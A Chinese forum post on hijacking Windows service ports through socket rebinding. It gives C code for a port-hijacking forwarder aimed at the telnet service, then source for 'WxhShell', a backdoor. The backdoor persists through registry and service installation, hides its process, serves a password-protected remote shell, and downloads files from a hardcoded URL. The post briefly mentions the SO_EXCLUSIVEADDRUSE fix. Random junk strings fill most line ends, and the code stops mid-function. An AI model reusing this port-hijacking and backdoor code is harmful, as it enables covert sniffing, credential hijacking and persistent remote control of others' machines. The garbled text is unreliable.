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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2;(W-]V?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  ]6~k4  
8=H\?4)()Y  
  saddr.sin_family = AF_INET; D$pj#  
b~w KF0vq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #tz8{o?ebN  
H`|0-`q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rc~Y=m   
Cg6;I.K   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V9jFjc?  
26nBBS,;  
  这意味着什么?意味着可以进行如下的攻击: *FPg#a+  
I)[B9rbe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !A-;NGxE  
|HgfV@Han  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2ij/N%l  
x70N8TQ_gK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -uR{X G. D  
 q6)N*?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NG-`ag`s  
]7<m1Lg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N{pa) /  
D0M!"c>\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +{vQS FW  
&q>h *w4O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d=n h  
`QLowna  
  #include sFx$>:$  
  #include %Rn:G K  
  #include w|G~Il  
  #include    )kA2vX^=Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);    sL ~,  
  int main() Ar~{= X  
  { 03"#J2b  
  WORD wVersionRequested; KZ\dB;W< |  
  DWORD ret; S~&\o\"5  
  WSADATA wsaData; E!YmcpCl  
  BOOL val; ^Ezcy?  
  SOCKADDR_IN saddr; R<j<. h  
  SOCKADDR_IN scaddr; N l|^o{#  
  int err; }~GV'7d1  
  SOCKET s; Q0SW;o7  
  SOCKET sc; XPVV+.  
  int caddsize; &Q+]t"OA!  
  HANDLE mt; rG5i-'  
  DWORD tid;   Ys+N,:#R  
  wVersionRequested = MAKEWORD( 2, 2 ); yA0Y 14\*  
  err = WSAStartup( wVersionRequested, &wsaData ); E 8^sy*f  
  if ( err != 0 ) { 6=BZ~ed  
  printf("error!WSAStartup failed!\n"); {.#j1r4J`  
  return -1; !G>(j   
  } |+mOH#Aty  
  saddr.sin_family = AF_INET; 5:_~mlfi  
   ~FNPD'`t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jmy)J!ib*  
g1dmkX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZpTi:3>  
  saddr.sin_port = htons(23); m`a>,%}P"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j,ZW[*M  
  { "?+UI   
  printf("error!socket failed!\n"); lYdQB[l  
  return -1; T:'+6  
  } * S{\#s  
  val = TRUE; ZU^Q1}</5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A ' )(SGSc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5 2fO)!  
  { m^Rd Iy)  
  printf("error!setsockopt failed!\n"); q4zSS #]A  
  return -1; nYgx9Q"<om  
  } &}O8w77  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HMQ 'b(a'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {'&8`d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (A|B@a!Y>  
"1CGO@AXS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sFD!7 ;  
  { s|KfC>#  
  ret=GetLastError(); D~7%};D[  
  printf("error!bind failed!\n"); Ta,u-!/ I  
  return -1; y!BB7cK6  
  } P$ F#,Cn  
  listen(s,2); =^"~$[z(  
  while(1) +:b(%|  
  { LP8o7%sv!  
  caddsize = sizeof(scaddr); p0?o<AA%O  
  //接受连接请求 AV9:O{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P)4x   
  if(sc!=INVALID_SOCKET) 89ZDOji?O  
  { XuA0.b%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e ^-3etx  
  if(mt==NULL) ScsWnZ  
  { ^Y#@$c  
  printf("Thread Creat Failed!\n"); 0.3^   
  break; ]+FX$+H/A0  
  } KgL<}=S  
  } /;[}=JL<Q  
  CloseHandle(mt); }q/(D?  
  } pEJ#ad  
  closesocket(s); =nw,*q +  
  WSACleanup(); YcEtgpz@  
  return 0; "@aq@mY@  
  }   55(J&q  
  DWORD WINAPI ClientThread(LPVOID lpParam) `s#sE.=o  
  { ]9dx3<2_I  
  SOCKET ss = (SOCKET)lpParam; t4C<#nfo  
  SOCKET sc; vRq=m8  
  unsigned char buf[4096]; [`cdlx?Eh  
  SOCKADDR_IN saddr; fc["  
  long num; #R5we3&p  
  DWORD val; ttTI#Fr2  
  DWORD ret; `\nON  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q.U*X5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k{zs578h2  
  saddr.sin_family = AF_INET; b*@&c9I;q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0@JilGk1u  
  saddr.sin_port = htons(23); EaJDz`T}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~r{\WZ.  
  { |C&%S"*+D  
  printf("error!socket failed!\n"); U#OWUZ  
  return -1; ,s\x]bh  
  } m j'"Z75  
  val = 100; ^mS.HT=X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z +y;y&P  
  { ^cfkP(Y3kx  
  ret = GetLastError(); z (c@(UD-_  
  return -1; o",f(v&u%  
  } N`y}Gs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /h1dm,  
  { 8Pl+yiB/o`  
  ret = GetLastError(); ppPG+[cz  
  return -1; CM+F7#T?n  
  } !hwzKm=%N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^aGZJiyJ  
  { l{M;PaJ`}  
  printf("error!socket connect failed!\n"); )Ix-5084  
  closesocket(sc); @>qx:jx(-S  
  closesocket(ss); D|u^8\'.  
  return -1; '-$))AdD  
  } V[BY/<z)A  
  while(1) !C9ps]6  
  { rTWh(8T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .rt8]%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !:]s M-cCt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vLi/'|7  
  num = recv(ss,buf,4096,0); ZX~>uf\n  
  if(num>0) vB&F_"/X2  
  send(sc,buf,num,0); chvrHvByS  
  else if(num==0) ~%cSckE  
  break; BXQ\A~P\  
  num = recv(sc,buf,4096,0); fxLE]VJQ  
  if(num>0)  =F",D=  
  send(ss,buf,num,0); {[YqGv=fF  
  else if(num==0) R=#q"9qz  
  break; f.U0E6-(3N  
  } z 'vdC  
  closesocket(ss); se^NQ=  
  closesocket(sc); s$SU vo1J  
  return 0 ; 1NE!=;VOl  
  } q\ \8b{~  
E|F!S(.:,M  
N'lGA;}i  
========================================================== N(:EK  
A{DIp+  
下边附上一个代码,,WXhSHELL WI*^+E&=*  
-dc"N|.  
========================================================== X~IRpzC  
2XETQ;9  
#include "stdafx.h" Mhu53DT  
P;HVLflu  
#include <stdio.h> *_2O*{V  
#include <string.h> GY0XWUlC  
#include <windows.h> oP43NN~  
#include <winsock2.h> X\c1q4oB[  
#include <winsvc.h> PsF- 9&_  
#include <urlmon.h> XudH  
FOlA* U4U  
#pragma comment (lib, "Ws2_32.lib") Qwp\)jVi  
#pragma comment (lib, "urlmon.lib") >Rl0%!  
h;4y=UU  
#define MAX_USER   100 // 最大客户端连接数 +7U  A%q  
#define BUF_SOCK   200 // sock buffer 'NG^HLD/  
#define KEY_BUFF   255 // 输入 buffer % +t  
6,V.j>z  
#define REBOOT     0   // 重启 :$GL.n-?  
#define SHUTDOWN   1   // 关机 m-Z'K_oQ  
c1)BGy li  
#define DEF_PORT   5000 // 监听端口 4acP*LkkQ  
9" }^SI8  
#define REG_LEN     16   // 注册表键长度 Z,N7nMJf  
#define SVC_LEN     80   // NT服务名长度 LoV*YSDAY  
,\m;DR1  
// 从dll定义API #um1?V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /q*Qx )y+1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K&\BwBU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m&8U4uHN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [#,X$O>  
r+V(1<`2X  
// wxhshell配置信息 + aXk^+~j  
struct WSCFG { l7D4`i<F  
  int ws_port;         // 监听端口 j"D0nG,  
  char ws_passstr[REG_LEN]; // 口令 :Z*02JwK  
  int ws_autoins;       // 安装标记, 1=yes 0=no H(5ui`'s  
  char ws_regname[REG_LEN]; // 注册表键名 n8;G,[GM80  
  char ws_svcname[REG_LEN]; // 服务名 L8?Z!0D/h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w/^0tZ~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SS45<!i y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fb\2df{@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sa0^1$(<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 69<rsp(p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '^.=gTk  
_>_y@-b  
}; 0N3tsIm>  
k DceBs s  
// default Wxhshell configuration J4 '!  
struct WSCFG wscfg={DEF_PORT, S7#^u`'Q_^  
    "xuhuanlingzhe", LfjS[  
    1, KH@) +Rj  
    "Wxhshell", UtGd/\:  
    "Wxhshell", n/-p;#R  
            "WxhShell Service", 2Xj-A\Oh~  
    "Wrsky Windows CmdShell Service", ]~g|SqPA@  
    "Please Input Your Password: ", ( F"& A?  
  1, ^RF mRn  
  "http://www.wrsky.com/wxhshell.exe", u%gm+NneK  
  "Wxhshell.exe" ?:;hTY  
    }; fAY2V%Rft  
Ph! KL\  
// 消息定义模块 pn_gq~5ng  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t+4%,n f_1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iK6<^,]'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z }b U\3!  
char *msg_ws_ext="\n\rExit."; zOdasEd8!  
char *msg_ws_end="\n\rQuit."; 5f^`4 pT  
char *msg_ws_boot="\n\rReboot..."; fB @pwmu  
char *msg_ws_poff="\n\rShutdown..."; 1!v >I"]  
char *msg_ws_down="\n\rSave to "; 5@%=LPV  
4~pO>6P   
char *msg_ws_err="\n\rErr!"; /kviO@jm4(  
char *msg_ws_ok="\n\rOK!"; zx]M/=7,V#  
6!}m$Dvt~  
char ExeFile[MAX_PATH]; ~i_ R%z:y  
int nUser = 0; B"E(Y M  
HANDLE handles[MAX_USER];  JY050FL  
int OsIsNt; ]K0,nj*\c  
-)->Jx:{  
SERVICE_STATUS       serviceStatus; HNHhMi`w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t&Y^W <  
V@+<,tjq  
// 函数声明 l<)JAT;P  
int Install(void); zk^7gx3x  
int Uninstall(void); FDGKMGZ  
int DownloadFile(char *sURL, SOCKET wsh); /+JP~ K  
int Boot(int flag); pQgOT0f  
void HideProc(void); /wCxf5q0  
int GetOsVer(void); ?H7p6m u  
int Wxhshell(SOCKET wsl); UXdC<(vK  
void TalkWithClient(void *cs); *!7SM 7  
int CmdShell(SOCKET sock); @l6 dJ  
int StartFromService(void); N(({2'Rr  
int StartWxhshell(LPSTR lpCmdLine); r{:la56Xd  
0\ytBxL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )*L?PT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cX=b q_  
1 FIiX  
// 数据结构和表定义  ;;"c+  
SERVICE_TABLE_ENTRY DispatchTable[] = {D2d({7  
{ $, @ rKRY  
{wscfg.ws_svcname, NTServiceMain}, CPCB!8-5  
{NULL, NULL} }-]s#^'w  
}; TXk"[>,:H  
2Z1(J% 7  
// 自我安装 K v>#  
int Install(void) MvjwP?J]  
{ r'JK$9  
  char svExeFile[MAX_PATH]; b!tZbX#  
  HKEY key; RV@(&eM  
  strcpy(svExeFile,ExeFile); ABYW1K=  
&WWO13\qd  
// 如果是win9x系统,修改注册表设为自启动 6V_5BpXt  
if(!OsIsNt) { Pc:'>,3!V3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(doy@0M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FU v)<rK  
  RegCloseKey(key); $YO]IK$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6I.+c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V9 t:JY  
  RegCloseKey(key); ojs/yjvx  
  return 0; E":":AC#  
    } [`n yq)  
  } PT*@#:MA  
} <HX-qNA?  
else { [(^''*7r+T  
HBkQ`T  
// 如果是NT以上系统,安装为系统服务 E6IL,Iq9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WAXrA$:3J  
if (schSCManager!=0)  u^eC  
{ _"e( ^yiK  
  SC_HANDLE schService = CreateService vH:+  
  ( <qj@waKw4  
  schSCManager, KqIe8bi^G  
  wscfg.ws_svcname, K>p:?w  
  wscfg.ws_svcdisp, Uc;IPS  
  SERVICE_ALL_ACCESS, 5TW<1'u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $G([#N<  
  SERVICE_AUTO_START, gmH0-W)=  
  SERVICE_ERROR_NORMAL, :QY9pT  
  svExeFile, Qz90 mb  
  NULL, \Hx#p`B%  
  NULL, i*rv_G|(Zj  
  NULL, +( 7vmC.  
  NULL, KE1@z]  
  NULL -kS5mR  
  ); )$.9Wl Q  
  if (schService!=0) 8{^GC(W{]  
  { L7'X7WYf&  
  CloseServiceHandle(schService); 4 6JP1  
  CloseServiceHandle(schSCManager); ) W7H{#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;7{wa]  
  strcat(svExeFile,wscfg.ws_svcname); hzVr3;3Zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pv.),Iv-68  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X~VZ61vNu  
  RegCloseKey(key); 9jFDBy+  
  return 0; L.&Vi"M <@  
    } Olrw>YbW  
  } ?fwr:aP~  
  CloseServiceHandle(schSCManager); ~9 nrS9)  
} k5<0M'  
} 9 CSz<[  
lk'jBl%  
return 1; :EAfD(D{)  
} BiAcjN:Z  
,(b~L<zN&  
// 自我卸载 i; uM!d}  
int Uninstall(void) ;Awzm )Q  
{ zT40,rk  
  HKEY key; \}(-9dr  
JugQ +0  
if(!OsIsNt) { F#9KMu<<cI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4p g(QeR  
  RegDeleteValue(key,wscfg.ws_regname); s0'U[]  
  RegCloseKey(key); wY)GX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *J- jr8&  
  RegDeleteValue(key,wscfg.ws_regname); N^j''siB  
  RegCloseKey(key); z@LP9+?dE  
  return 0; rMx_ <tXX  
  } AYtcN4\/  
} a.ME{:a%  
} 667tL(  
else { g)Uh   
hRiGW_t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SaScP  
if (schSCManager!=0) T3 /LUm  
{ N1t:i? q&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); je0 ?iovY  
  if (schService!=0) v<4X;4p^  
  { jtJU 5Q  
  if(DeleteService(schService)!=0) { <AXYqH7%A  
  CloseServiceHandle(schService); S!c@6&XJm?  
  CloseServiceHandle(schSCManager); Lg53 Ms%  
  return 0; <0MUn#7'  
  } p`ZGV97  
  CloseServiceHandle(schService); t)ry)[Dxv  
  } *gKr1}M  
  CloseServiceHandle(schSCManager); cE#Y,-f  
} ucO]&'hu:  
} Kqjeqr@)  
@J)vuGS  
return 1; qd;f]ndo  
} ?^0Z(<Arz  
kF7Al]IgT  
// 从指定url下载文件 27gm_ *  
int DownloadFile(char *sURL, SOCKET wsh) B)iJH  
{ -4a&R=%p  
  HRESULT hr; YRXe j  
char seps[]= "/";  6<GWDO  
char *token; a_x6 v*  
char *file; 9dv~WtH>5  
char myURL[MAX_PATH]; 247>+:7z  
char myFILE[MAX_PATH]; mI18A#[ 3  
8gdOQ=a  
strcpy(myURL,sURL); )HHzvGsL)  
  token=strtok(myURL,seps); S]{Z_|h*j  
  while(token!=NULL) :@L5=2Z+  
  { Gj?q+-d!(5  
    file=token; ]].21  
  token=strtok(NULL,seps); O2B$c\pw  
  } 7u(i4O& k  
Sn,z$-;h;  
GetCurrentDirectory(MAX_PATH,myFILE); Rx<F^J  
strcat(myFILE, "\\"); NoIdO/vy"  
strcat(myFILE, file); M?`06jQD.  
  send(wsh,myFILE,strlen(myFILE),0); e4P.G4  
send(wsh,"...",3,0); gA*zFhGVS7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kDQXP p  
  if(hr==S_OK) 2y,wN"qH*  
return 0; ^6n]@4P  
else cPYQ<Y=  
return 1; lUz@Em  
bvKi0-  
} YWdvL3Bgk,  
W_EN4p~J  
// 系统电源模块 )$i3j 1[;  
int Boot(int flag) D.} b<kDD  
{ t~M_NEPxV  
  HANDLE hToken; $P~a   
  TOKEN_PRIVILEGES tkp; >oNs_{  
)c/BD C7g  
  if(OsIsNt) { tIw4V^'|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H9?~#GPb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cR} =3|t  
    tkp.PrivilegeCount = 1; ~+hG}7(:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wz=I+IN:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gz:a1-x  
if(flag==REBOOT) { S7*:eo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 Da( DA  
  return 0; )*B.y|b #  
} r+crE %-  
else { #wfR$Cd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;'kH<Iq  
  return 0; d0d2QRX  
} YVi]f2F%  
  } AnQRSB (  
  else { #e[5O| V~  
if(flag==REBOOT) { i\b2P2 `B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :gn!3P}p?  
  return 0; b7/4~_s  
} ZhU2z*qN#  
else { (A_9;uL^_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >E#4mm  
  return 0; uNjy&I:  
} Q]C1m<x  
} ijfT!W  
mvxvX!t  
return 1; Hl51R"8o  
}  R !HL+  
`7`iCYiTy  
// win9x进程隐藏模块 z#b6 aP  
void HideProc(void) li?Gb1  
{ ek<U2C_u#  
T^ -RP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x.I-z@\E  
  if ( hKernel != NULL ) =:DNb(  
  { IN"qJ3<k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E*zk?G|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +9t@eHJT1  
    FreeLibrary(hKernel); fsu'W]f  
  } ]v#Q\Q8>  
uzOZxW[e  
return; ul E\>5O4h  
} 9ZwhC s O  
Ru/3>n  
// 获取操作系统版本 [&$z[/4:8c  
int GetOsVer(void) Y|",.~  
{ YGB|6p(  
  OSVERSIONINFO winfo; %O-wMl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q-H ]Hxv  
  GetVersionEx(&winfo); gg=z.`}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 98l#+4 +  
  return 1; '` n\YO.N  
  else U}NNb GQj  
  return 0; >i '3\  
} l\H9Io3  
Z=ho7i  
// 客户端句柄模块 Z(#a-_ g  
int Wxhshell(SOCKET wsl) Rh39x-`Z  
{ aX! J0&3  
  SOCKET wsh; (q utgnW  
  struct sockaddr_in client; ),86Y:^4  
  DWORD myID; Mw< 1  
9E+^FZe  
  while(nUser<MAX_USER) !|SawT5t   
{ HRk+2'wjAz  
  int nSize=sizeof(client); .d;/6HD[y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I>:'5V  
  if(wsh==INVALID_SOCKET) return 1; ?U&onGy  
bR.T94-8y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NoI=t  
if(handles[nUser]==0) jd#{66:  
  closesocket(wsh); @E1N9S?>  
else &" =inkh  
  nUser++; v+Hu=RZE  
  } r*$KF!-dg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %gN8-~$ 1  
=^6]N~*,D  
  return 0; -k'=s{iy  
} 6;ICX2Wq'  
D+RG,8Ht  
// 关闭 socket W /IyF){  
void CloseIt(SOCKET wsh) 8<xJmcTEwO  
{ 3+IS7ATn  
closesocket(wsh); c#_%|gg  
nUser--; $OmtN"  
ExitThread(0); p[cC%3  
} | r2'B  
@qeI4io-n  
// 客户端请求句柄 3?C$Tl2G8  
void TalkWithClient(void *cs) cdk;HK_Ve.  
{ qr :[y  
rLp0VKPe  
  SOCKET wsh=(SOCKET)cs; B4|3@X0(  
  char pwd[SVC_LEN]; - iU7'  
  char cmd[KEY_BUFF]; nfd^'}$]  
char chr[1]; } pA0mW9  
int i,j; 778a)ZOzb  
|3s-BKbN4  
  while (nUser < MAX_USER) { GZ9XG">  
/Z-|E  
if(wscfg.ws_passstr) { 'M&`l%dIPf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?=aQG0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g=b 'T-  
  //ZeroMemory(pwd,KEY_BUFF); W;2y.2*  
      i=0; V;.=O}Lr  
  while(i<SVC_LEN) { e<q;` H  
S-My6'ar  
  // 设置超时 u)%J5TR.Y  
  fd_set FdRead; H`kfI"u8  
  struct timeval TimeOut; M>-x\[n+  
  FD_ZERO(&FdRead); yhZ2-*pTg  
  FD_SET(wsh,&FdRead); hD sFsG  
  TimeOut.tv_sec=8; "zfy_h  
  TimeOut.tv_usec=0; l]GLkE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !s5 _JO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :Z,zWk1|  
1--5ok h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /:l>yKI+~  
  pwd=chr[0]; @N34 Q-l  
  if(chr[0]==0xd || chr[0]==0xa) { ho 4~-xmN  
  pwd=0; . F_pP2A  
  break; b16\2%Ea1  
  } *&!&Y*Jzg  
  i++; T2GJoJ!  
    } U",kAQY  
{o AJL  
  // 如果是非法用户,关闭 socket CPAizS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t '* L,  
} ^k/@y@%  
dCN4aY[d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K%)u zP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (zte'F4  
2e#hJ-/`-  
while(1) { <\Lii0hi!  
#TXgV0\F  
  ZeroMemory(cmd,KEY_BUFF); QrDI$p7;'  
*$Bx#0J8  
      // 自动支持客户端 telnet标准   qo/`9%^E?  
  j=0; iU5M_M$G  
  while(j<KEY_BUFF) { kect)=T(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZA7)Z`7  
  cmd[j]=chr[0]; /U+0T>(HS  
  if(chr[0]==0xa || chr[0]==0xd) { Zg_ fec~6q  
  cmd[j]=0; m>DBO|`  
  break; ZDMS:w.'T  
  } ;5M I8  
  j++; i1}Y;mj  
    } 274F+X  
?31#:Mg6g+  
  // 下载文件 7 wH9w  
  if(strstr(cmd,"http://")) { /c6:B5G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <BEM`2B  
  if(DownloadFile(cmd,wsh)) /{|JQ'gqX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuH@qq\  
  else 6C7|e00v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.su^m_1  
  } R0HzNk  
  else { AhWcJD]  
gd#+N]C_  
    switch(cmd[0]) { I82GZL  
  dv1Y2[  
  // 帮助 M8(N9)N  
  case '?': { [`2V!rU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hR(\%p  
    break; =*>ri  
  } ) G a5c  
  // 安装 5bBY[qp  
  case 'i': { epXvk &  
    if(Install()) m -]E|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MhfGMk!'  
    else O4t0 VL$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7wKT:~~oS3  
    break; lsq\CavbM  
    } L.X"wIs^  
  // 卸载 8Mg wXH  
  case 'r': { SI\ O>a 9{  
    if(Uninstall()) <5BNcl\ZL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *5m4 j=-  
    else @|N{E I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |q!O~<H@  
    break; @` 5P^H7  
    } *QH~ z2:[  
  // 显示 wxhshell 所在路径 xU9T8Lw  
  case 'p': { 5d|hP4fEc  
    char svExeFile[MAX_PATH]; fkk&pu  
    strcpy(svExeFile,"\n\r"); 1K\z amBg  
      strcat(svExeFile,ExeFile); upi\pXv  
        send(wsh,svExeFile,strlen(svExeFile),0); DXyRNE<G[C  
    break; XN|[8+#U<@  
    } '8Wu9 phT  
  // 重启 mH6\8I  
  case 'b': { ZW>iq M^9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~'lYQ[7  
    if(Boot(REBOOT)) 8GlRO4yd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VRE[ vM'  
    else { ;2N: =Rv  
    closesocket(wsh); PJ -g.0q  
    ExitThread(0); tqk^)c4FF(  
    } *E.uqu>I  
    break; b@X+vW{S  
    } ?hBjq  
  // 关机 erlg\-H   
  case 'd': { 5LaF'>1yY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,B2p\  
